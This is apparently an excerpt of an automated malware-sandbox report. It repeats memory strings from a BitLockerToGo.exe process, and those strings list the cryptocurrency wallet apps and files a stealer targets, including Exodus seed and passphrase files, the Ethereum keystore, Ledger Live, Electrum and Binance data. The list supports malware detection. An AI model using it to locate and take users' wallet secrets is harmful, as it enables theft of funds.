Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061952905.0000000002A2F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000000.1681656576.00000000014D5000.00000002.00000001.01000000.00000003.sdmp	String found in binary or memory: #github.com/ethereum/go-ethereum/rlp
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: BitLockerToGo.exe, 00000001.00000002.2061380170.000000000277B000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ckstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local 